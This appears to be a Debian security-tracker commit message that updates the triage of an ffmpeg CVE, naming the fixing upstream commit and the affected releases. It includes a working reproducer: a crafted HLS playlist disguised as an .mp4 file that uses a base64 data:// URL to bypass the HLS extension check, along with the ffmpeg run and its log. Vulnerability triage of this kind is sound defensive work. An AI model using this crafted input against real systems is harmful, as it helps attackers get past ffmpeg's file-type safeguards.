Update CVE-2023-6601/ffmpeg triaging, bookworm and bullseye affected
Initially the vulnerability was marked as fixed by 91d96dc, but upstream marked d09f50c as fixing it. After going through the description and reproducer, d09f50c indeed fix the CVE. This commit was never cherry-picked in upstream patch releases of 5.1 or 4.3, so both bookworm and bullseye are vulnerable.
To reproduce the vulnerability in bullseye or bookworm, the following steps can be used:
$ cat >cve-2023-6601.mp4 <<EOF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1,
data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8
#EXT-X-ENDLIST
EOF
$ ffmpeg -i cve-2023-6601.mp4 output.mp4
ffmpeg version 5.1.8-0+deb12u1 Copyright (c) 2000-2025 the FFmpeg developers
built with gcc 12 (Debian 12.2.0-14+deb12u1)
[...]
libavutil 57. 28.100 / 57. 28.100
libavcodec 59. 37.100 / 59. 37.100
libavformat 59. 27.100 / 59. 27.100
libavdevice 59. 7.100 / 59. 7.100
libavfilter 8. 44.100 / 8. 44.100
libswscale 6. 7.100 / 6. 7.100
libswresample 4. 7.100 / 4. 7.100
libpostproc 56. 6.100 / 56. 6.100
[hls @ 0x55756f63a840] Opening 'data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8' for reading
[hls @ 0x55756f63a840] detected format xbin extension none mismatches allowed extensions in url data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8
[hls @ 0x55756f63a840] Error when loading first segment 'data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8'
./cve-2023-6601.mp4: Invalid data found when processing input
The Opening 'data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8' for reading is the same evidence as described in the bug report section I (HLS Unsafe File Extension Bypass): https://bugzilla.redhat.com/show_bug.cgi?id=2253172#c0